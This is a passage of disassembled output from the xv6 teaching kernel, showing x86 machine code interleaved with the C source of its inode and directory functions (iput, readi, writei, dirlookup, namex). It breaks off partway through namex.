<releasesleep> panic("iunlock"); 80101878: 83 ec 0c sub $0xc,%esp 8010187b: 68 1f 79 10 80 push $0x8010791f 80101880: e8 0b eb ff ff call 80100390 <panic> 80101885: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010188c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101890 <iput>: { 80101890: f3 0f 1e fb endbr32 80101894: 55 push %ebp 80101895: 89 e5 mov %esp,%ebp 80101897: 57 push %edi 80101898: 56 push %esi 80101899: 53 push %ebx 8010189a: 83 ec 28 sub $0x28,%esp 8010189d: 8b 5d 08 mov 0x8(%ebp),%ebx acquiresleep(&ip->lock); 801018a0: 8d 7b 0c lea 0xc(%ebx),%edi 801018a3: 57 push %edi 801018a4: e8 17 30 00 00 call 801048c0 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801018a9: 8b 53 4c mov 0x4c(%ebx),%edx 801018ac: 83 c4 10 add $0x10,%esp 801018af: 85 d2 test %edx,%edx 801018b1: 74 07 je 801018ba <iput+0x2a> 801018b3: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 801018b8: 74 36 je 801018f0 <iput+0x60> releasesleep(&ip->lock); 801018ba: 83 ec 0c sub $0xc,%esp 801018bd: 57 push %edi 801018be: e8 5d 30 00 00 call 80104920 <releasesleep> acquire(&icache.lock); 801018c3: c7 04 24 e0 19 11 80 movl $0x801119e0,(%esp) 801018ca: e8 71 32 00 00 call 80104b40 <acquire> ip->ref--; 801018cf: 83 6b 08 01 subl $0x1,0x8(%ebx) release(&icache.lock); 801018d3: 83 c4 10 add $0x10,%esp 801018d6: c7 45 08 e0 19 11 80 movl $0x801119e0,0x8(%ebp) } 801018dd: 8d 65 f4 lea -0xc(%ebp),%esp 801018e0: 5b pop %ebx 801018e1: 5e pop %esi 801018e2: 5f pop %edi 801018e3: 5d pop %ebp release(&icache.lock); 801018e4: e9 17 33 00 00 jmp 80104c00 <release> 801018e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&icache.lock); 801018f0: 83 ec 0c sub $0xc,%esp 801018f3: 68 e0 19 11 80 push $0x801119e0 801018f8: e8 43 32 00 00 call 80104b40 <acquire> int r = ip->ref; 801018fd: 8b 73 08 mov 0x8(%ebx),%esi release(&icache.lock); 80101900: c7 04 24 e0 19 11 80 movl $0x801119e0,(%esp) 80101907: e8 f4 32 00 00 call 80104c00 <release> if(r == 1){ 8010190c: 83 c4 10 add $0x10,%esp 8010190f: 83 fe 01 cmp $0x1,%esi 80101912: 75 a6 jne 801018ba <iput+0x2a> 80101914: 8d 8b 8c 00 00 00 lea 0x8c(%ebx),%ecx 8010191a: 89 7d e4 mov %edi,-0x1c(%ebp) 8010191d: 8d 73 5c lea 0x5c(%ebx),%esi 80101920: 89 cf mov %ecx,%edi 80101922: eb 0b jmp 8010192f <iput+0x9f> 80101924: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101928: 83 c6 04 add $0x4,%esi 8010192b: 39 fe cmp %edi,%esi 8010192d: 74 19 je 80101948 <iput+0xb8> if(ip->addrs[i]){ 8010192f: 8b 16 mov (%esi),%edx 80101931: 85 d2 test %edx,%edx 80101933: 74 f3 je 80101928 <iput+0x98> bfree(ip->dev, ip->addrs[i]); 80101935: 8b 03 mov (%ebx),%eax 80101937: e8 74 f8 ff ff call 801011b0 <bfree> ip->addrs[i] = 0; 8010193c: c7 06 00 00 00 00 movl $0x0,(%esi) 80101942: eb e4 jmp 80101928 <iput+0x98> 80101944: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } if(ip->addrs[NDIRECT]){ 80101948: 8b 83 8c 00 00 00 mov 0x8c(%ebx),%eax 8010194e: 8b 7d e4 mov -0x1c(%ebp),%edi 80101951: 85 c0 test %eax,%eax 80101953: 75 33 jne 80101988 <iput+0xf8> bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; iupdate(ip); 80101955: 83 ec 0c sub $0xc,%esp ip->size = 0; 80101958: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) iupdate(ip); 8010195f: 53 push %ebx 80101960: e8 3b fd ff ff call 801016a0 <iupdate> ip->type = 0; 80101965: 31 c0 xor %eax,%eax 80101967: 66 89 43 50 mov %ax,0x50(%ebx) iupdate(ip); 8010196b: 89 1c 24 mov %ebx,(%esp) 8010196e: e8 2d fd ff ff call 801016a0 <iupdate> ip->valid = 0; 80101973: c7 43 4c 00 00 00 00 movl $0x0,0x4c(%ebx) 8010197a: 83 c4 10 add $0x10,%esp 8010197d: e9 38 ff ff ff jmp 801018ba <iput+0x2a> 80101982: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bp = bread(ip->dev, ip->addrs[NDIRECT]); 80101988: 83 ec 08 sub $0x8,%esp 8010198b: 50 push %eax 8010198c: ff 33 pushl (%ebx) 8010198e: e8 3d e7 ff ff call 801000d0 <bread> 80101993: 89 7d e0 mov %edi,-0x20(%ebp) 80101996: 83 c4 10 add $0x10,%esp 80101999: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx 8010199f: 89 45 e4 mov %eax,-0x1c(%ebp) for(j = 0; j < NINDIRECT; j++){ 801019a2: 8d 70 5c lea 0x5c(%eax),%esi 801019a5: 89 cf mov %ecx,%edi 801019a7: eb 0e jmp 801019b7 <iput+0x127> 801019a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801019b0: 83 c6 04 add $0x4,%esi 801019b3: 39 f7 cmp %esi,%edi 801019b5: 74 19 je 801019d0 <iput+0x140> if(a[j]) 801019b7: 8b 16 mov (%esi),%edx 801019b9: 85 d2 test %edx,%edx 801019bb: 74 f3 je 801019b0 <iput+0x120> bfree(ip->dev, a[j]); 801019bd: 8b 03 mov (%ebx),%eax 801019bf: e8 ec f7 ff ff call 801011b0 <bfree> 801019c4: eb ea jmp 801019b0 <iput+0x120> 801019c6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801019cd: 8d 76 00 lea 0x0(%esi),%esi brelse(bp); 801019d0: 83 ec 0c sub $0xc,%esp 801019d3: ff 75 e4 pushl -0x1c(%ebp) 801019d6: 8b 7d e0 mov -0x20(%ebp),%edi 801019d9: e8 12 e8 ff ff call 801001f0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801019de: 8b 93 8c 00 00 00 mov 0x8c(%ebx),%edx 801019e4: 8b 03 mov (%ebx),%eax 801019e6: e8 c5 f7 ff ff call 801011b0 <bfree> ip->addrs[NDIRECT] = 0; 801019eb: 83 c4 10 add $0x10,%esp 801019ee: c7 83 8c 00 00 00 00 movl $0x0,0x8c(%ebx) 801019f5: 00 00 00 801019f8: e9 58 ff ff ff jmp 80101955 <iput+0xc5> 801019fd: 8d 76 00 lea 0x0(%esi),%esi 80101a00 <iunlockput>: { 80101a00: f3 0f 1e fb endbr32 80101a04: 55 push %ebp 80101a05: 89 e5 mov %esp,%ebp 80101a07: 53 push %ebx 80101a08: 83 ec 10 sub $0x10,%esp 80101a0b: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 80101a0e: 53 push %ebx 80101a0f: e8 2c fe ff ff call 80101840 <iunlock> iput(ip); 80101a14: 89 5d 08 mov %ebx,0x8(%ebp) 80101a17: 83 c4 10 add $0x10,%esp } 80101a1a: 8b 5d fc mov -0x4(%ebp),%ebx 80101a1d: c9 leave iput(ip); 80101a1e: e9 6d fe ff ff jmp 80101890 <iput> 80101a23: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101a2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101a30 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101a30: f3 0f 1e fb endbr32 80101a34: 55 push %ebp 80101a35: 89 e5 mov %esp,%ebp 80101a37: 8b 55 08 mov 0x8(%ebp),%edx 80101a3a: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101a3d: 8b 0a mov (%edx),%ecx 80101a3f: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 80101a42: 8b 4a 04 mov 0x4(%edx),%ecx 80101a45: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101a48: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101a4c: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 80101a4f: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 80101a53: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101a57: 8b 52 58 mov 0x58(%edx),%edx 80101a5a: 89 50 10 mov %edx,0x10(%eax) } 80101a5d: 5d pop %ebp 80101a5e: c3 ret 80101a5f: 90 nop 80101a60 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101a60: f3 0f 1e fb endbr32 80101a64: 55 push %ebp 80101a65: 89 e5 mov %esp,%ebp 80101a67: 57 push %edi 80101a68: 56 push %esi 80101a69: 53 push %ebx 80101a6a: 83 ec 1c sub $0x1c,%esp 80101a6d: 8b 7d 0c mov 0xc(%ebp),%edi 80101a70: 8b 45 08 mov 0x8(%ebp),%eax 80101a73: 8b 75 10 mov 0x10(%ebp),%esi 80101a76: 89 7d e0 mov %edi,-0x20(%ebp) 80101a79: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a7c: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a81: 89 45 d8 mov %eax,-0x28(%ebp) 80101a84: 89 7d e4 mov %edi,-0x1c(%ebp) if(ip->type == T_DEV){ 80101a87: 0f 84 a3 00 00 00 je 80101b30 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101a8d: 8b 45 d8 mov -0x28(%ebp),%eax 80101a90: 8b 40 58 mov 0x58(%eax),%eax 80101a93: 39 c6 cmp %eax,%esi 80101a95: 0f 87 b6 00 00 00 ja 80101b51 <readi+0xf1> 80101a9b: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101a9e: 31 c9 xor %ecx,%ecx 80101aa0: 89 da mov %ebx,%edx 80101aa2: 01 f2 add %esi,%edx 80101aa4: 0f 92 c1 setb %cl 80101aa7: 89 cf mov %ecx,%edi 80101aa9: 0f 82 a2 00 00 00 jb 80101b51 <readi+0xf1> return -1; if(off + n > ip->size) n = ip->size - off; 80101aaf: 89 c1 mov %eax,%ecx 80101ab1: 29 f1 sub %esi,%ecx 80101ab3: 39 d0 cmp %edx,%eax 80101ab5: 0f 43 cb cmovae %ebx,%ecx 80101ab8: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101abb: 85 c9 test %ecx,%ecx 80101abd: 74 63 je 80101b22 <readi+0xc2> 80101abf: 90 nop bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac0: 8b 5d d8 mov -0x28(%ebp),%ebx 80101ac3: 89 f2 mov %esi,%edx 80101ac5: c1 ea 09 shr $0x9,%edx 80101ac8: 89 d8 mov %ebx,%eax 80101aca: e8 61 f9 ff ff call 80101430 <bmap> 80101acf: 83 ec 08 sub $0x8,%esp 80101ad2: 50 push %eax 80101ad3: ff 33 pushl (%ebx) 80101ad5: e8 f6 e5 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101ada: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101add: b9 00 02 00 00 mov $0x200,%ecx 80101ae2: 83 c4 0c add $0xc,%esp bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ae5: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101ae7: 89 f0 mov %esi,%eax 80101ae9: 25 ff 01 00 00 and $0x1ff,%eax 80101aee: 29 fb sub %edi,%ebx memmove(dst, bp->data + off%BSIZE, m); 80101af0: 89 55 dc mov %edx,-0x24(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 80101af3: 29 c1 sub %eax,%ecx memmove(dst, bp->data + off%BSIZE, m); 80101af5: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 80101af9: 39 d9 cmp %ebx,%ecx 80101afb: 0f 46 d9 cmovbe %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 80101afe: 53 push %ebx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101aff: 01 df add %ebx,%edi 80101b01: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 80101b03: 50 push %eax 80101b04: ff 75 e0 pushl -0x20(%ebp) 80101b07: e8 e4 31 00 00 call 80104cf0 <memmove> brelse(bp); 80101b0c: 8b 55 dc mov -0x24(%ebp),%edx 80101b0f: 89 14 24 mov %edx,(%esp) 80101b12: e8 d9 e6 ff ff call 801001f0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101b17: 01 5d e0 add %ebx,-0x20(%ebp) 80101b1a: 83 c4 10 add $0x10,%esp 80101b1d: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101b20: 77 9e ja 80101ac0 <readi+0x60> } return n; 80101b22: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101b25: 8d 65 f4 lea -0xc(%ebp),%esp 80101b28: 5b pop %ebx 80101b29: 5e pop %esi 80101b2a: 5f pop %edi 80101b2b: 5d pop %ebp 80101b2c: c3 ret 80101b2d: 8d 76 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101b30: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b34: 66 83 f8 09 cmp $0x9,%ax 80101b38: 77 17 ja 80101b51 <readi+0xf1> 80101b3a: 8b 04 c5 60 19 11 80 mov -0x7feee6a0(,%eax,8),%eax 80101b41: 85 c0 test %eax,%eax 80101b43: 74 0c je 80101b51 <readi+0xf1> return devsw[ip->major].read(ip, dst, n); 80101b45: 89 7d 10 mov %edi,0x10(%ebp) } 80101b48: 8d 65 f4 lea -0xc(%ebp),%esp 80101b4b: 5b pop %ebx 80101b4c: 5e pop %esi 80101b4d: 5f pop %edi 80101b4e: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101b4f: ff e0 jmp *%eax return -1; 80101b51: b8 ff ff ff ff mov $0xffffffff,%eax 80101b56: eb cd jmp 80101b25 <readi+0xc5> 80101b58: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101b5f: 90 nop 80101b60 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101b60: f3 0f 1e fb endbr32 80101b64: 55 push %ebp 80101b65: 89 e5 mov %esp,%ebp 80101b67: 57 push %edi 80101b68: 56 push %esi 80101b69: 53 push %ebx 80101b6a: 83 ec 1c sub $0x1c,%esp 80101b6d: 8b 45 08 mov 0x8(%ebp),%eax 80101b70: 8b 75 0c mov 0xc(%ebp),%esi 80101b73: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101b76: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101b7b: 89 75 dc mov %esi,-0x24(%ebp) 80101b7e: 89 45 d8 mov %eax,-0x28(%ebp) 80101b81: 8b 75 10 mov 0x10(%ebp),%esi 80101b84: 89 7d e0 mov %edi,-0x20(%ebp) if(ip->type == T_DEV){ 80101b87: 0f 84 b3 00 00 00 je 80101c40 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101b8d: 8b 45 d8 mov -0x28(%ebp),%eax 80101b90: 39 70 58 cmp %esi,0x58(%eax) 80101b93: 0f 82 e3 00 00 00 jb 80101c7c <writei+0x11c> return -1; if(off + n > MAXFILE*BSIZE) 80101b99: 8b 7d e0 mov -0x20(%ebp),%edi 80101b9c: 89 f8 mov %edi,%eax 80101b9e: 01 f0 add %esi,%eax 80101ba0: 0f 82 d6 00 00 00 jb 80101c7c <writei+0x11c> 80101ba6: 3d 00 18 01 00 cmp $0x11800,%eax 80101bab: 0f 87 cb 00 00 00 ja 80101c7c <writei+0x11c> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101bb1: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101bb8: 85 ff test %edi,%edi 80101bba: 74 75 je 80101c31 <writei+0xd1> 80101bbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101bc0: 8b 7d d8 mov -0x28(%ebp),%edi 80101bc3: 89 f2 mov %esi,%edx 80101bc5: c1 ea 09 shr $0x9,%edx 80101bc8: 89 f8 mov %edi,%eax 80101bca: e8 61 f8 ff ff call 80101430 <bmap> 80101bcf: 83 ec 08 sub $0x8,%esp 80101bd2: 50 push %eax 80101bd3: ff 37 pushl (%edi) 80101bd5: e8 f6 e4 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101bda: b9 00 02 00 00 mov $0x200,%ecx 80101bdf: 8b 5d e0 mov -0x20(%ebp),%ebx 80101be2: 2b 5d e4 sub -0x1c(%ebp),%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101be5: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101be7: 89 f0 mov %esi,%eax 80101be9: 83 c4 0c add $0xc,%esp 80101bec: 25 ff 01 00 00 and $0x1ff,%eax 80101bf1: 29 c1 sub %eax,%ecx memmove(bp->data + off%BSIZE, src, m); 80101bf3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 80101bf7: 39 d9 cmp %ebx,%ecx 80101bf9: 0f 46 d9 cmovbe %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101bfc: 53 push %ebx for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101bfd: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101bff: ff 75 dc pushl -0x24(%ebp) 80101c02: 50 push %eax 80101c03: e8 e8 30 00 00 call 80104cf0 <memmove> log_write(bp); 80101c08: 89 3c 24 mov %edi,(%esp) 80101c0b: e8 00 13 00 00 call 80102f10 <log_write> brelse(bp); 80101c10: 89 3c 24 mov %edi,(%esp) 80101c13: e8 d8 e5 ff ff call 801001f0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101c18: 01 5d e4 add %ebx,-0x1c(%ebp) 80101c1b: 83 c4 10 add $0x10,%esp 80101c1e: 8b 45 e4 mov -0x1c(%ebp),%eax 80101c21: 01 5d dc add %ebx,-0x24(%ebp) 80101c24: 39 45 e0 cmp %eax,-0x20(%ebp) 80101c27: 77 97 ja 80101bc0 <writei+0x60> } if(n > 0 && off > ip->size){ 80101c29: 8b 45 d8 mov -0x28(%ebp),%eax 80101c2c: 3b 70 58 cmp 0x58(%eax),%esi 80101c2f: 77 37 ja 80101c68 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101c31: 8b 45 e0 mov -0x20(%ebp),%eax } 80101c34: 8d 65 f4 lea -0xc(%ebp),%esp 80101c37: 5b pop %ebx 80101c38: 5e pop %esi 80101c39: 5f pop %edi 80101c3a: 5d pop %ebp 80101c3b: c3 ret 80101c3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101c40: 0f bf 40 52 movswl 0x52(%eax),%eax 80101c44: 66 83 f8 09 cmp $0x9,%ax 80101c48: 77 32 ja 80101c7c <writei+0x11c> 80101c4a: 8b 04 c5 64 19 11 80 mov -0x7feee69c(,%eax,8),%eax 80101c51: 85 c0 test %eax,%eax 80101c53: 74 27 je 80101c7c <writei+0x11c> return devsw[ip->major].write(ip, src, n); 80101c55: 89 7d 10 mov %edi,0x10(%ebp) } 80101c58: 8d 65 f4 lea -0xc(%ebp),%esp 80101c5b: 5b pop %ebx 80101c5c: 5e pop %esi 80101c5d: 5f pop %edi 80101c5e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101c5f: ff e0 jmp *%eax 80101c61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101c68: 8b 45 d8 mov -0x28(%ebp),%eax iupdate(ip); 80101c6b: 83 ec 0c sub $0xc,%esp ip->size = off; 80101c6e: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101c71: 50 push %eax 80101c72: e8 29 fa ff ff call 801016a0 <iupdate> 80101c77: 83 c4 10 add $0x10,%esp 80101c7a: eb b5 jmp 80101c31 <writei+0xd1> return -1; 80101c7c: b8 ff ff ff ff mov $0xffffffff,%eax 80101c81: eb b1 jmp 80101c34 <writei+0xd4> 80101c83: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c90 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101c90: f3 0f 1e fb endbr32 80101c94: 55 push %ebp 80101c95: 89 e5 mov %esp,%ebp 80101c97: 83 ec 0c sub $0xc,%esp return strncmp(s, t, DIRSIZ); 80101c9a: 6a 0e push $0xe 80101c9c: ff 75 0c pushl 0xc(%ebp) 80101c9f: ff 75 08 pushl 0x8(%ebp) 80101ca2: e8 b9 30 00 00 call 80104d60 <strncmp> } 80101ca7: c9 leave 80101ca8: c3 ret 80101ca9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101cb0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101cb0: f3 0f 1e fb endbr32 80101cb4: 55 push %ebp 80101cb5: 89 e5 mov %esp,%ebp 80101cb7: 57 push %edi 80101cb8: 56 push %esi 80101cb9: 53 push %ebx 80101cba: 83 ec 1c sub $0x1c,%esp 80101cbd: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101cc0: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101cc5: 0f 85 89 00 00 00 jne 80101d54 <dirlookup+0xa4> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101ccb: 8b 53 58 mov 0x58(%ebx),%edx 80101cce: 31 ff xor %edi,%edi 80101cd0: 8d 75 d8 lea -0x28(%ebp),%esi 80101cd3: 85 d2 test %edx,%edx 80101cd5: 74 42 je 80101d19 <dirlookup+0x69> 80101cd7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101cde: 66 90 xchg %ax,%ax if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101ce0: 6a 10 push $0x10 80101ce2: 57 push %edi 80101ce3: 56 push %esi 80101ce4: 53 push %ebx 80101ce5: e8 76 fd ff ff call 80101a60 <readi> 80101cea: 83 c4 10 add $0x10,%esp 80101ced: 83 f8 10 cmp $0x10,%eax 80101cf0: 75 55 jne 80101d47 <dirlookup+0x97> panic("dirlookup read"); if(de.inum == 0) 80101cf2: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101cf7: 74 18 je 80101d11 <dirlookup+0x61> return strncmp(s, t, DIRSIZ); 80101cf9: 83 ec 04 sub $0x4,%esp 80101cfc: 8d 45 da lea -0x26(%ebp),%eax 80101cff: 6a 0e push $0xe 80101d01: 50 push %eax 80101d02: ff 75 0c pushl 0xc(%ebp) 80101d05: e8 56 30 00 00 call 80104d60 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101d0a: 83 c4 10 add $0x10,%esp 80101d0d: 85 c0 test %eax,%eax 80101d0f: 74 17 je 80101d28 <dirlookup+0x78> for(off = 0; off < dp->size; off += sizeof(de)){ 80101d11: 83 c7 10 add $0x10,%edi 80101d14: 3b 7b 58 cmp 0x58(%ebx),%edi 80101d17: 72 c7 jb 80101ce0 <dirlookup+0x30> return iget(dp->dev, inum); } } return 0; } 80101d19: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80101d1c: 31 c0 xor %eax,%eax } 80101d1e: 5b pop %ebx 80101d1f: 5e pop %esi 80101d20: 5f pop %edi 80101d21: 5d pop %ebp 80101d22: c3 ret 80101d23: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101d27: 90 nop if(poff) 80101d28: 8b 45 10 mov 0x10(%ebp),%eax 80101d2b: 85 c0 test %eax,%eax 80101d2d: 74 05 je 80101d34 <dirlookup+0x84> *poff = off; 80101d2f: 8b 45 10 mov 0x10(%ebp),%eax 80101d32: 89 38 mov %edi,(%eax) inum = de.inum; 80101d34: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101d38: 8b 03 mov (%ebx),%eax 80101d3a: e8 01 f6 ff ff call 80101340 <iget> } 80101d3f: 8d 65 f4 lea -0xc(%ebp),%esp 80101d42: 5b pop %ebx 80101d43: 5e pop %esi 80101d44: 5f pop %edi 80101d45: 5d pop %ebp 80101d46: c3 ret panic("dirlookup read"); 80101d47: 83 ec 0c sub $0xc,%esp 80101d4a: 68 39 79 10 80 push $0x80107939 80101d4f: e8 3c e6 ff ff call 80100390 <panic> panic("dirlookup not DIR"); 80101d54: 83 ec 0c sub $0xc,%esp 80101d57: 68 27 79 10 80 push $0x80107927 80101d5c: e8 2f e6 ff ff call 80100390 <panic> 80101d61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101d68: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101d6f: 90 nop 80101d70 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101d70: 55 push %ebp 80101d71: 89 e5 mov %esp,%ebp 80101d73: 57 push %edi 80101d74: 56 push %esi 80101d75: 53 push %ebx 80101d76: 89 c3 mov %eax,%ebx 80101d78: 83 ec 1c sub $0x1c,%esp struct inode *ip, *next; if(*path == '/') 80101d7b: 80 38 2f cmpb $0x2f,(%eax) { 80101d7e: 89 55 e0 mov %edx,-0x20(%ebp) 80101d81: 89 4d e4 mov %ecx,-0x1c(%ebp) if(*path == '/') 80101d84: 0f 84 86 01 00 00 je 80101f10 <namex+0x1a0> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101d8a: e8 01 1c 00 00 call 80103990 <myproc> acquire(&icache.lock); 80101d8f: 83 ec 0c sub $0xc,%esp 80101d92: 89 df mov %ebx,%edi ip = idup(myproc()->cwd); 80101d94: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101d97: 68 e0 19 11 80 push $0x801119e0 80101d9c: e8 9f 2d 00 00 call 80104b40 <acquire> ip->ref++; 80101da1: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101da5: c7 04 24 e0 19 11 80 movl $0x801119e0,(%esp) 80101dac: e8 4f 2e 00 00 call 80104c00 <release> 80101db1: 83 c4 10 add $0x10,%esp 80101db4: eb 0d jmp 80101dc3 <namex+0x53> 80101db6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101dbd: 8d 76 00 lea 0x0(%esi),%esi path++; 80101dc0: 83 c7 01 add $0x1,%edi while(*path == '/') 80101dc3: 0f b6 07 movzbl (%edi),%eax 80101dc6: 3c 2f cmp $0x2f,%al 80101dc8: 74 f6 je 80101dc0 <namex+0x50> if(*path == 0) 80101dca: 84 c0 test %al,%al 80101dcc: 0f 84 ee 00 00 00 je 80101ec0 <namex+0x150> while(*path != '/' && *path != 0) 80101dd2: 0f b6 07 movzbl (%edi),%eax 80101dd5: 84 c0 test %al,%al 80101dd7: 0f 84 fb 00 00 00 je 80101ed8 <namex+0x168> 80101ddd: 89 fb mov %edi,%ebx 80101ddf: 3c 2f cmp $0x2f,%al 80101de1: 0f 84 f1 00 00 00 je 80101ed8 <namex+0x168> 80101de7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101dee: 66 90 xchg %ax,%ax 80101df0: 0f b6 43 01 movzbl 0x1(%ebx),%eax path++; 80101df4: 83 c3 01 add $0x1,%ebx while(*path != '/' && *path != 0) 80101df7: 3c 2f cmp $0x2f,%al 80101df9: 74 04 je 80101dff <namex+0x8f> 80101dfb: 84 c0 test %al,%al 80101dfd: 75 f1 jne 80101df0 <namex+0x80> len = path - s; 80101dff: 89 d8 mov %ebx,%eax 80101e01: 29 f8 sub %edi,%eax if(len >= DIRSIZ) 80101e03: 83 f8 0d cmp $0xd,%eax 80101e06: 0f 8e 84 00 00 00 jle 80101e90 <namex+0x120> memmove(name, s, DIRSIZ); 80101e0c: 83 ec 04 sub $0x4,%esp 80101e0f: 6a 0e push $0xe 80101e11: 57 push %edi path++; 80101e12: 89 df mov %ebx,%edi memmove(name, s, DIRSIZ); 80101e14: ff 75 e4 pushl -0x1c(%ebp) 80101e17: e8 d4 2e 00 00 call 80104cf0 <memmove> 80101e1c: 83 c4 10 add $0x10,%esp while(*path == '/') 80101e1f: 80 3b 2f cmpb $0x2f,(%ebx) 80101e22: 75 0c jne 80101e30 <namex+0xc0> 80101e24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi path++; 80101e28: 83 